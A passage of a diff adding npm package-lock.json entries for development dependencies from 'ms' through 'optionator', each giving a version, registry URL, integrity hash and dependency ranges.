+ "node": ">=10"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "node_modules/mute-stdout": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mute-stdout/-/mute-stdout-1.0.1.tgz",
+ "integrity": "sha512-kDcwXR4PS7caBpuRYYBUz9iVixUk3anO3f5OYFiIPwK/20vCzKCHyKoulbiDY1S53zD2bxUpxN/IJ+TnXjfvxg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/mz": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+ "dev": true,
+ "dependencies": {
+ "any-promise": "^1.0.0",
+ "object-assign": "^4.0.1",
+ "thenify-all": "^1.0.0"
+ }
+ },
+ "node_modules/nan": {
+ "version": "2.17.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz",
+ "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==",
+ "dev": true,
+ "optional": true
+ },
+ "node_modules/nanoid": {
+ "version": "3.1.25",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.25.tgz",
+ "integrity": "sha512-rdwtIXaXCLFAQbnfqDRnI6jaRHp9fTcYBjtFKE8eezcZ7LuLjhUaQGNeMXf1HmRoCH32CLz6XwX0TtxEOS/A3Q==",
+ "dev": true,
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/nanomatch": {
+ "version": "1.2.13",
+ "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
+ "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
+ "dev": true,
+ "dependencies": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "fragment-cache": "^0.2.1",
+ "is-windows": "^1.0.2",
+ "kind-of": "^6.0.2",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nanomatch/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/natural-compare": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
+ "dev": true
+ },
+ "node_modules/neo-async": {
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
+ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/next-tick": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
+ "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
+ "dev": true
+ },
+ "node_modules/nise": {
+ "version": "5.1.4",
+ "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.4.tgz",
+ "integrity": "sha512-8+Ib8rRJ4L0o3kfmyVCL7gzrohyDe0cMFTBa2d364yIrEGMEoetznKJx899YxjybU6bL9SQkYPSBBs1gyYs8Xg==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^2.0.0",
+ "@sinonjs/fake-timers": "^10.0.2",
+ "@sinonjs/text-encoding": "^0.7.1",
+ "just-extend": "^4.0.2",
+ "path-to-regexp": "^1.7.0"
+ }
+ },
+ "node_modules/nise/node_modules/@sinonjs/commons": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz",
+ "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==",
+ "dev": true,
+ "dependencies": {
+ "type-detect": "4.0.8"
+ }
+ },
+ "node_modules/nise/node_modules/@sinonjs/fake-timers": {
+ "version": "10.3.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
+ "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^3.0.0"
+ }
+ },
+ "node_modules/nise/node_modules/@sinonjs/fake-timers/node_modules/@sinonjs/commons": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz",
+ "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==",
+ "dev": true,
+ "dependencies": {
+ "type-detect": "4.0.8"
+ }
+ },
+ "node_modules/no-case": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz",
+ "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==",
+ "dev": true,
+ "dependencies": {
+ "lower-case": "^1.1.1"
+ }
+ },
+ "node_modules/node-preload": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz",
+ "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==",
+ "dev": true,
+ "dependencies": {
+ "process-on-spawn": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/node-releases": {
+ "version": "2.0.13",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
+ "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
+ "dev": true
+ },
+ "node_modules/normalize-package-data": {
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
+ "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
+ "dev": true,
+ "dependencies": {
+ "hosted-git-info": "^2.1.4",
+ "resolve": "^1.10.0",
+ "semver": "2 || 3 || 4 || 5",
+ "validate-npm-package-license": "^3.0.1"
+ }
+ },
+ "node_modules/normalize-package-data/node_modules/semver": {
+ "version": "5.7.2",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
+ "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+ "dev": true,
+ "bin": {
+ "semver": "bin/semver"
+ }
+ },
+ "node_modules/normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/normalize-range": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+ "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/now-and-later": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz",
+ "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==",
+ "dev": true,
+ "dependencies": {
+ "once": "^1.3.2"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/number-is-nan": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
+ "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nwsapi": {
+ "version": "2.2.7",
+ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz",
+ "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==",
+ "dev": true
+ },
+ "node_modules/nyc": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz",
+ "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==",
+ "dev": true,
+ "dependencies": {
+ "@istanbuljs/load-nyc-config": "^1.0.0",
+ "@istanbuljs/schema": "^0.1.2",
+ "caching-transform": "^4.0.0",
+ "convert-source-map": "^1.7.0",
+ "decamelize": "^1.2.0",
+ "find-cache-dir": "^3.2.0",
+ "find-up": "^4.1.0",
+ "foreground-child": "^2.0.0",
+ "get-package-type": "^0.1.0",
+ "glob": "^7.1.6",
+ "istanbul-lib-coverage": "^3.0.0",
+ "istanbul-lib-hook": "^3.0.0",
+ "istanbul-lib-instrument": "^4.0.0",
+ "istanbul-lib-processinfo": "^2.0.2",
+ "istanbul-lib-report": "^3.0.0",
+ "istanbul-lib-source-maps": "^4.0.0",
+ "istanbul-reports": "^3.0.2",
+ "make-dir": "^3.0.0",
+ "node-preload": "^0.2.1",
+ "p-map": "^3.0.0",
+ "process-on-spawn": "^1.0.0",
+ "resolve-from": "^5.0.0",
+ "rimraf": "^3.0.0",
+ "signal-exit": "^3.0.2",
+ "spawn-wrap": "^2.0.0",
+ "test-exclude": "^6.0.0",
+ "yargs": "^15.0.2"
+ },
+ "bin": {
+ "nyc": "bin/nyc.js"
+ },
+ "engines": {
+ "node": ">=8.9"
+ }
+ },
+ "node_modules/nyc/node_modules/cliui": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
+ "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
+ "dev": true,
+ "dependencies": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.0",
+ "wrap-ansi": "^6.2.0"
+ }
+ },
+ "node_modules/nyc/node_modules/find-cache-dir": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+ "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+ "dev": true,
+ "dependencies": {
+ "commondir": "^1.0.1",
+ "make-dir": "^3.0.2",
+ "pkg-dir": "^4.1.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/avajs/find-cache-dir?sponsor=1"
+ }
+ },
+ "node_modules/nyc/node_modules/find-up": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "dependencies": {
+ "locate-path": "^5.0.0",
+ "path-exists": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/locate-path": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "dependencies": {
+ "p-locate": "^4.1.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "dependencies": {
+ "semver": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/nyc/node_modules/p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "dependencies": {
+ "p-try": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/nyc/node_modules/p-locate": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "dependencies": {
+ "p-limit": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/p-map": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+ "dev": true,
+ "dependencies": {
+ "aggregate-error": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/pkg-dir": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+ "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+ "dev": true,
+ "dependencies": {
+ "find-up": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/require-main-filename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
+ "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
+ "dev": true
+ },
+ "node_modules/nyc/node_modules/resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/which-module": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
+ "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
+ "dev": true
+ },
+ "node_modules/nyc/node_modules/wrap-ansi": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/y18n": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+ "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
+ "dev": true
+ },
+ "node_modules/nyc/node_modules/yargs": {
+ "version": "15.4.1",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz",
+ "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==",
+ "dev": true,
+ "dependencies": {
+ "cliui": "^6.0.0",
+ "decamelize": "^1.2.0",
+ "find-up": "^4.1.0",
+ "get-caller-file": "^2.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^2.0.0",
+ "set-blocking": "^2.0.0",
+ "string-width": "^4.2.0",
+ "which-module": "^2.0.0",
+ "y18n": "^4.0.0",
+ "yargs-parser": "^18.1.2"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/nyc/node_modules/yargs-parser": {
+ "version": "18.1.3",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
+ "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
+ "dev": true,
+ "dependencies": {
+ "camelcase": "^5.0.0",
+ "decamelize": "^1.2.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-copy": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
+ "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==",
+ "dev": true,
+ "dependencies": {
+ "copy-descriptor": "^0.1.0",
+ "define-property": "^0.2.5",
+ "kind-of": "^3.0.3"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-copy/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-hash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+ "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/object-keys": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/object-visit": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
+ "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==",
+ "dev": true,
+ "dependencies": {
+ "isobject": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object.assign": {
+ "version": "4.1.4",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
+ "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
+ "dev": true,
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.4",
+ "has-symbols": "^1.0.3",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/object.defaults": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz",
+ "integrity": "sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==",
+ "dev": true,
+ "dependencies": {
+ "array-each": "^1.0.1",
+ "array-slice": "^1.0.0",
+ "for-own": "^1.0.0",
+ "isobject": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object.map": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz",
+ "integrity": "sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==",
+ "dev": true,
+ "dependencies": {
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object.pick": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
+ "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==",
+ "dev": true,
+ "dependencies": {
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object.reduce": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/object.reduce/-/object.reduce-1.0.1.tgz",
+ "integrity": "sha512-naLhxxpUESbNkRqc35oQ2scZSJueHGQNUfMW/0U37IgN6tE2dgDWg3whf+NEliy3F/QysrO48XKUz/nGPe+AQw==",
+ "dev": true,
+ "dependencies": {
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dev": true,
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/optionator": {
+ "version": "0.9.3",
+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz",
+ "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==",
+ "dev": true,
+ "dependencies": {
+ "@aashutoshrathi/word-wrap": "^1.2.3",
+ "deep-is": "^0.1.3",
+ "fast-levenshtein": "^2.0.6",
+ "levn": "^0.4.1",
